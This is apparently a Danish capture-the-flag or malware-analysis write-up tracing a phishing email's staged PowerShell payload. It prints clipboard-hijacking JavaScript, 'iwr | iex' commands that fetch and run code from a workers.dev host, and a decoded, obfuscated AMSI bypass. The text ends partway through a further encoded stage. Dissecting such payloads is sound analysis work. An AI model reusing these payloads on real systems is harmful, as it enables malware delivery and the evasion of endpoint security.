<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nb">document</span><span class="p">.</span><span class="nx">onkeydown</span> <span class="o">=</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">type</span> <span class="o">=</span> <span class="s2">&#34;text/plain&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">clipboardItemData</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="p">[</span><span class="nx">type</span><span class="p">]</span><span class="o">:</span> <span class="s1">&#39;powershell.exe -ExecutionPolicy Bypass -c &#34;iwr -UseBasicParsing jolly-heart-a4be.oluf-sand.workers.dev|iex&#34;;#               Enable-Feature -Name EncryptedEmails                           &#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">clipboardItem</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">ClipboardItem</span><span class="p">(</span><span class="nx">clipboardItemData</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nx">navigator</span><span class="p">.</span><span class="nx">clipboard</span><span class="p">.</span><span class="nx">write</span><span class="p">([</span><span class="nx">clipboardItem</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Hvis personen som åbner denne mail og kopire teksten og kører den i windows run dialogen, så vil det køre en powershell kommando som henter og kører kode fra <code>jolly-heart-a4be.oluf-sand.workers.dev</code>.</p>
<p>Hvis vi sender en request til <code>jolly-heart-a4be.oluf-sand.workers.dev</code> får vi følgende respons tilbage:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">echo &#34;&#34;&gt;C:/Windows/Temp/ndr8C2E.tmp
</span></span></code></pre></div><p>Min første tanke er at vi skal have nogle headers som gør at serveren tror det er en request fra powershell, så jeg prøver at sende følgende request:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -A <span class="s2">&#34;Mozilla/5.0 (Windows NT; Windows NT 10.0; de-DE) WindowsPowerShell/5.1.19041.5737&#34;</span> http://jolly-heart-a4be.oluf-sand.workers.dev
</span></span></code></pre></div><p>Aha! Nu får vi følgende respons:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">echo </span><span class="s2">&#34;&#34;</span><span class="p">&gt;</span><span class="n">C:</span><span class="p">/</span><span class="n">Windows</span><span class="p">/</span><span class="n">Temp</span><span class="p">/</span><span class="n">ndr8C2E</span><span class="p">.</span><span class="py">tmp</span>
</span></span><span class="line"><span class="cl"><span class="nv">$dat</span><span class="p">=</span><span class="s2">&#34;H4sIAA7ZlmkA/41VW5PaOBN951e4XFRh48i2fAOTmgcyYTLZL0yogdmtfGQehC0YT4xNyXImZHf/e1qSL0xVHpYqLm6koz7ndLeGJC+fD+RqVGUPo8Gw/lnnNPl2pQ+NbXI7Z4/G9t0XTh/dH6FvWtvrJnTmCwhNYhW6h9Duy0asmqhVBEIYR+PYd2IRASi56LwR+6JQLHoiF+hRapr20DBGS1KMrBE5UPg80oKPTPuuZMt5nv2kMiWFI88Poj6lFnqvoMX5bmRN5ZPYE7pWqNIVx0ZTKwpQFJimhhg95SShGoDLjBrwMJF5ixDGnuKguCuiu45oK0eQdulg7FqBiwJXnS8iXjj2YseLJc8WrCWCBb7MsxVkIjVSdN812gZdCGNsRR6KVF4yRzce+7HjC46J5B9PLB9JOySwtCN0YoHbMlW4kdSlWYTHoeuEIm9AUUzG8dSJp40/8+PIamrGGvEsr8CgomRHAgYtgJckKzLuDGqpNodJg5Ruuy+qjHoW04nlNU+wIIJDL/xp1VAGSH86gRSQTFsVn+eP/cDxG8kAejLplBEQslhoL58Xmqb+dnioz0/Zld7VEJZyKVKQrrRBJtiIE1pQHKgpkAa8cesiGRePvcDxZDJykQel2fSTcAqsw44vikCVJ7gLTnRNItz2YgS101unRIhUB4hQAFv6vsLuxMIBwuJIZcB0amHZim2WF2QayVyAmAAZoVTTnm1bk16GxltVe00Tn1UTq5Zpqw27oQPv3k4Lu6Ihm+OwB88ugjcIv908MUrSrDjY6tfjbLbOKT0ZOAQl3w6yvTGkxffZw3pxfzdfLjRUUG30TItqpKGSafLP68/L1cPmcsHxzOrTkSRPWUFH5t+M8poV/w6G64RlJz77WFSc5Pl9WXJNvq60P8qsQCvCnxTkipUHRo7vCSeafl0WvKzK91CR5VlMJ71D+lQe5Kbu9QrpN8fpeXmo+v1rTji9yXL6n/fDT07t56osepR7esgqzs4doStNv/3fp+Xs6/rzzeav+f3ia8Ph6yonfA+N229e/KBJzbOy+Ji2KWwPdSasuKMvH+CXYdqbcs0Z2GSYl6kzvsmOF6l/oByBZHQwXDBWsnkiYFeM7imjBfQypLXm5UkfiOVDDnuBzfEEcaPdenGUfoYXWi5Rmmq3t7PjcVZV9n6/1021X9AgnNNU4G57uEdt+/Hu5jN8DY3fkDQfteuyzlOtALEyJS2osSjILpdYQ85qOtje0/2jPa8qetzlZxvy25xP1GivStPWIbTPFnmqG3Kyq+E7xpGDmwtKzoDYCkMUqnZob7Huynx918qJ3M8qEQrUkH7VbmJ8vb6C1Mbu+vVCB+ZaO3TafWoqt3cERv2gaQ9TN4LM0o+t5kmNFdyxaC/+5mS4S9/od+Byvcuz5I2o5yzRQZ31gv9J8pqCOpv/n8j7F/6m1Vj09QvT0ENF35EqS1aEVWC49lzm+Rk9UagrRIIdtcu83qOKFKn9UrJvlFV2Sr879SmFQnGITybEDynyQj9AwS6I0DTcuyj1fTdI/GAfTMk/Gf0x+AWpkST07AgAAA==&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$bytes</span> <span class="p">=</span> <span class="p">[</span><span class="no">Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$dat</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$ms</span> <span class="p">=</span> <span class="nb">New-Object</span> <span class="n">IO</span><span class="p">.</span><span class="py">MemoryStream</span><span class="p">(,</span><span class="nv">$bytes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$gs</span> <span class="p">=</span> <span class="nb">New-Object</span> <span class="n">IO</span><span class="p">.</span><span class="py">Compression</span><span class="p">.</span><span class="py">GZipStream</span><span class="p">(</span><span class="nv">$ms</span><span class="p">,[</span><span class="no">IO.Compression.CompressionMode</span><span class="p">]::</span><span class="n">Decompress</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$sr</span> <span class="p">=</span> <span class="nb">New-Object</span> <span class="n">IO</span><span class="p">.</span><span class="py">StreamReader</span><span class="p">(</span><span class="nv">$gs</span><span class="p">,[</span><span class="no">Text.Encoding</span><span class="p">]::</span><span class="n">UTF8</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$result</span> <span class="p">=</span> <span class="nv">$sr</span><span class="p">.</span><span class="py">ReadToEnd</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo </span><span class="nv">$result</span> <span class="p">|</span> <span class="nb">iex
</span></span></span></code></pre></div><p>Vi kan se på kodens logik at der bliver dekodes fra base64, og så bliver det dekomprimeret ved hjælp af gzip. Hvis vi dekoder og dekomprimerer dataen i <code>$dat</code> variablen, får vi følgende powershell kode:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nv">$alojga</span><span class="p">=</span><span class="s1">&#39;siU&#39;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$uzuleck</span><span class="p">=</span><span class="s2">&#34;</span><span class="p">$([</span><span class="no">cHAr</span><span class="p">]([</span><span class="no">BYte</span><span class="p">]</span><span class="n">0x53</span><span class="p">)+[</span><span class="no">CHAr</span><span class="p">]([</span><span class="no">BytE</span><span class="p">]</span><span class="n">0x79</span><span class="p">)+[</span><span class="no">CHAR</span><span class="p">]([</span><span class="no">bYTe</span><span class="p">]</span><span class="n">0x73</span><span class="p">)+[</span><span class="no">CHaR</span><span class="p">](</span><span class="mf">116</span><span class="p">*</span><span class="mf">93</span><span class="p">/</span><span class="mf">93</span><span class="p">)+[</span><span class="no">cHAR</span><span class="p">]([</span><span class="no">byTE</span><span class="p">]</span><span class="n">0x65</span><span class="p">)+[</span><span class="no">Char</span><span class="p">]([</span><span class="no">BYte</span><span class="p">]</span><span class="n">0x6d</span><span class="p">))</span><span class="s2">.</span><span class="p">$((</span><span class="s1">&#39;Man&#39;</span><span class="p">+</span><span class="s1">&#39;age&#39;</span><span class="p">+</span><span class="s1">&#39;ment&#39;</span><span class="p">).</span><span class="py">NorMAlize</span><span class="p">([</span><span class="no">cHAR</span><span class="p">]([</span><span class="no">bytE</span><span class="p">]</span><span class="n">0x46</span><span class="p">)+[</span><span class="no">CHAr</span><span class="p">]([</span><span class="no">byTE</span><span class="p">]</span><span class="n">0x6f</span><span class="p">)+[</span><span class="no">ChaR</span><span class="p">](</span><span class="mf">106</span><span class="p">+</span><span class="mf">8</span><span class="p">)+[</span><span class="no">ChAR</span><span class="p">](</span><span class="mf">50</span><span class="p">+</span><span class="mf">59</span><span class="p">)+[</span><span class="no">CHar</span><span class="p">](</span><span class="mf">68</span><span class="p">+</span><span class="mf">64</span><span class="p">-</span><span class="mf">64</span><span class="p">))</span> <span class="o">-replace</span> <span class="p">[</span><span class="no">cHar</span><span class="p">]([</span><span class="no">bytE</span><span class="p">]</span><span class="n">0x5c</span><span class="p">)+[</span><span class="no">cHar</span><span class="p">](</span><span class="mf">112</span><span class="p">)+[</span><span class="no">cHAr</span><span class="p">]([</span><span class="no">ByTe</span><span class="p">]</span><span class="n">0x7b</span><span class="p">)+[</span><span class="no">CHaR</span><span class="p">]([</span><span class="no">BytE</span><span class="p">]</span><span class="n">0x4d</span><span class="p">)+[</span><span class="no">CHAr</span><span class="p">](</span><span class="mf">110</span><span class="p">+</span><span class="mf">40</span><span class="p">-</span><span class="mf">40</span><span class="p">)+[</span><span class="no">ChAr</span><span class="p">](</span><span class="mf">125</span><span class="p">*</span><span class="mf">29</span><span class="p">/</span><span class="mf">29</span><span class="p">))</span><span class="s2">.</span><span class="p">$([</span><span class="no">cHAr</span><span class="p">]([</span><span class="no">bytE</span><span class="p">]</span><span class="n">0x41</span><span class="p">)+[</span><span class="no">chAR</span><span class="p">]([</span><span class="no">BYte</span><span class="p">]</span><span class="n">0x75</span><span class="p">)+[</span><span class="no">CHAR</span><span class="p">]([</span><span class="no">BYTe</span><span class="p">]</span><span class="n">0x74</span><span class="p">)+[</span><span class="no">CHAR</span><span class="p">](</span><span class="mf">111</span><span class="p">+</span><span class="mf">62</span><span class="p">-</span><span class="mf">62</span><span class="p">)+[</span><span class="no">cHar</span><span class="p">](</span><span class="mf">109</span><span class="p">*</span><span class="mf">39</span><span class="p">/</span><span class="mf">39</span><span class="p">)+[</span><span class="no">chaR</span><span class="p">](</span><span class="mf">97</span><span class="p">+</span><span class="mf">3</span><span class="p">-</span><span class="mf">3</span><span class="p">)+[</span><span class="no">ChAR</span><span class="p">](</span><span class="mf">116</span><span class="p">*</span><span class="mf">95</span><span class="p">/</span><span class="mf">95</span><span class="p">)+[</span><span class="no">cHar</span><span class="p">]([</span><span class="no">bYTe</span><span class="p">]</span><span class="n">0x69</span><span class="p">)+[</span><span class="no">ChAR</span><span class="p">](</span><span class="mf">111</span><span class="p">*</span><span class="mf">50</span><span class="p">/</span><span class="mf">50</span><span class="p">)+[</span><span class="no">char</span><span class="p">](</span><span class="mf">110</span><span class="p">*</span><span class="mf">98</span><span class="p">/</span><span class="mf">98</span><span class="p">))</span><span class="s2">.</span><span class="p">$((</span><span class="s1">&#39;Am&#39;</span><span class="p">+</span><span class="nv">$alojga</span><span class="p">+</span><span class="s1">&#39;tils&#39;</span><span class="p">).</span><span class="py">normalizE</span><span class="p">([</span><span class="no">chAr</span><span class="p">]([</span><span class="no">BYTE</span><span class="p">]</span><span class="n">0x46</span><span class="p">)+[</span><span class="no">cHAr</span><span class="p">]([</span><span class="no">bYTe</span><span class="p">]</span><span class="n">0x6f</span><span class="p">)+[</span><span class="no">CHaR</span><span class="p">]([</span><span class="no">bYtE</span><span class="p">]</span><span class="n">0x72</span><span class="p">)+[</span><span class="no">cHar</span><span class="p">](</span><span class="mf">87</span><span class="p">+</span><span class="mf">22</span><span class="p">)+[</span><span class="no">cHaR</span><span class="p">](</span><span class="mf">68</span><span class="p">))</span> <span class="o">-replace</span> <span class="p">[</span><span class="no">CHAR</span><span class="p">]([</span><span class="no">ByTe</span><span class="p">]</span><span class="n">0x5c</span><span class="p">)+[</span><span class="no">CHAR</span><span class="p">]([</span><span class="no">BYtE</span><span class="p">]</span><span class="n">0x70</span><span class="p">)+[</span><span class="no">cHaR</span><span class="p">](</span><span class="mf">123</span><span class="p">*</span><span class="mf">34</span><span class="p">/</span><span class="mf">34</span><span class="p">)+[</span><span class="no">CHAr</span><span class="p">](</span><span class="mf">77</span><span class="p">)+[</span><span class="no">chaR</span><span class="p">]([</span><span class="no">ByTE</span><span class="p">]</span><span class="n">0x6e</span><span class="p">)+[</span><span class="no">cHar</span><span class="p">](</span><span class="mf">125</span><span class="p">))</span><span class="s2">&#34;</span><span class="p">;</span><span class="nv">$guyhi</span><span class="p">=</span><span class="s2">&#34;+[ChaR](115)+[chAr]([bYte]0x72)+[char](115+112-112)+[chaR]([BYTe]0x70)+[cHaR](101*24/24)+[ChaR](26+83)+[CHAR](99*31/31)+[CHar](11+111)+[Char](111+29-29)+[cHar]([byTe]0x66)+[CHar](4+115)+[Char](107+14-14)+[cHAr](88+13)+[chaR]([BYte]0x72)+[cHaR](120+117-117)+[Char]([bYTe]0x7a)+[chAr]([BYTE]0x62)+[char]([Byte]0x6c)+[cHAR](116*105/105)+[cHaR](6+108)+[cHaR](112+100-100)&#34;</span><span class="p">;[</span><span class="no">Threading.Thread</span><span class="p">]::</span><span class="n">Sleep</span><span class="p">(</span><span class="mf">1570</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nv">$env:USERNAME</span> <span class="o">-ne</span> <span class="s1">&#39;jens&#39;</span> <span class="o">-or</span> <span class="nv">$env:COMPUTERNAME</span> <span class="o">-ne</span> <span class="s1">&#39;myrupmachine&#39;</span><span class="p">){</span><span class="k">return</span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nv">$Script:InstallRoot</span>      <span class="p">=</span> <span class="nb">Join-Path</span> <span class="nv">$env:ProgramData</span> <span class="s2">&#34;ContosoDeployment&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$Script:LogPath</span>          <span class="p">=</span> <span class="nb">Join-Path</span> <span class="nv">$Script:InstallRoot</span> <span class="s2">&#34;logs&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$Script:StateFile</span>        <span class="p">=</span> <span class="nb">Join-Path</span> <span class="nv">$Script:InstallRoot</span> <span class="s2">&#34;state.json&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$Script:RegistryRoot</span>     <span class="p">=</span> <span class="s2">&#34;HKLM:\SOFTWARE\Contoso\Platform&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$Script:ExecutionId</span>      <span class="p">=</span> <span class="p">[</span><span class="no">guid</span><span class="p">]::</span><span class="n">NewGuid</span><span class="p">().</span><span class="py">ToString</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nv">$Script:StartTime</span>        <span class="p">=</span> <span class="nb">Get-Date</span>
</span></span><span class="line"><span class="cl"><span class="nv">$ErrorActionPreference</span> <span class="p">=</span> <span class="s2">&#34;Stop&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$timestamp</span> <span class="p">=</span> <span class="p">(</span><span class="nb">Get-Date</span><span class="p">).</span><span class="py">ToString</span><span class="p">(</span><span class="s2">&#34;yyyy-MM-dd HH:mm:ss.fff&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$formatted</span> <span class="p">=</span> <span class="s2">&#34;[</span><span class="nv">$timestamp</span><span class="s2">] [INFO] [</span><span class="p">$(</span><span class="nv">$Script:ExecutionId</span><span class="p">)</span><span class="s2">] Could not install&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$Enabled</span> <span class="p">=</span> <span class="vm">$true</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="no">Ref</span><span class="p">].</span><span class="py">Assembly</span><span class="p">.</span><span class="py">GetType</span><span class="p">(</span><span class="nv">$uzuleck</span><span class="p">).</span><span class="s2">&#34;GetfiEld&#34;</span><span class="p">(</span><span class="vm">$</span><span class="p">([</span><span class="no">cHaR</span><span class="p">](</span><span class="mf">97</span><span class="p">*</span><span class="mf">16</span><span class="p">/</span><span class="mf">16</span><span class="p">)+[</span><span class="no">CHAR</span><span class="p">](</span><span class="mf">109</span><span class="p">+</span><span class="mf">55</span><span class="p">-</span><span class="mf">55</span><span class="p">)+[</span><span class="no">cHAR</span><span class="p">]([</span><span class="no">byte</span><span class="p">]</span><span class="n">0x73</span><span class="p">)+[</span><span class="no">cHAr</span><span class="p">]([</span><span class="no">BYte</span><span class="p">]</span><span class="n">0x69</span><span class="p">)+[</span><span class="no">chaR</span><span class="p">]([</span><span class="no">ByTe</span><span class="p">]</span><span class="n">0x49</span><span class="p">)+[</span><span class="no">Char</span><span class="p">]([</span><span class="no">Byte</span><span class="p">]</span><span class="n">0x6e</span><span class="p">)+[</span><span class="no">CHaR</span><span class="p">]([</span><span class="no">BytE</span><span class="p">]</span><span class="n">0x69</span><span class="p">)+[</span><span class="no">cHaR</span><span class="p">](</span><span class="mf">116</span><span class="p">*</span><span class="mf">25</span><span class="p">/</span><span class="mf">25</span><span class="p">)+[</span><span class="no">ChaR</span><span class="p">]([</span><span class="no">Byte</span><span class="p">]</span><span class="n">0x46</span><span class="p">)+[</span><span class="no">chaR</span><span class="p">](</span><span class="mf">97</span><span class="p">+</span><span class="mf">1</span><span class="p">-</span><span class="mf">1</span><span class="p">)+[</span><span class="no">Char</span><span class="p">]([</span><span class="no">ByTe</span><span class="p">]</span><span class="n">0x69</span><span class="p">)+[</span><span class="no">CHAR</span><span class="p">](</span><span class="mf">39</span><span class="p">+</span><span class="mf">69</span><span class="p">)+[</span><span class="no">CHar</span><span class="p">](</span><span class="mf">101</span><span class="p">+</span><span class="mf">55</span><span class="p">-</span><span class="mf">55</span><span class="p">)+[</span><span class="no">CHAR</span><span class="p">]([</span><span class="no">bytE</span><span class="p">]</span><span class="n">0x64</span><span class="p">)),</span><span class="s2">&#34;NonPublic,Static&#34;</span><span class="p">).</span><span class="s2">&#34;SEtValue&#34;</span><span class="p">(</span><span class="nv">$TZpaDwt</span><span class="p">,</span><span class="nv">$Enabled</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nb">iwr </span><span class="n">-UseBasicParsing</span> <span class="nb">jolly-heart</span><span class="n">-a4be</span><span class="p">.</span><span class="nb">oluf-sand</span><span class="p">.</span><span class="py">workers</span><span class="p">.</span><span class="n">dev</span><span class="p">/</span><span class="n">update</span><span class="p">/</span><span class="n">a3a7a35e</span><span class="p">-</span><span class="mf">2534</span><span class="p">-</span><span class="n">4b46</span><span class="p">-</span><span class="n">85f0-d3304c34f48a</span><span class="p">|</span><span class="nb">iex
</span></span></span></code></pre></div><p>Jeg spotter ret hurtigt at der er endu en forspørgsel til <code>jolly-heart-a4be.oluf-sand.workers.dev</code> i den dekodede kode, og at den sender data til <code>/update/a3a7a35e-2534-4b46-85f0-d3304c34f48a</code>. Hvis vi sender en request til denne endpoint, får vi følgende respons:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nv">$dat</span><span class="p">=</span><span class="s2">&#34;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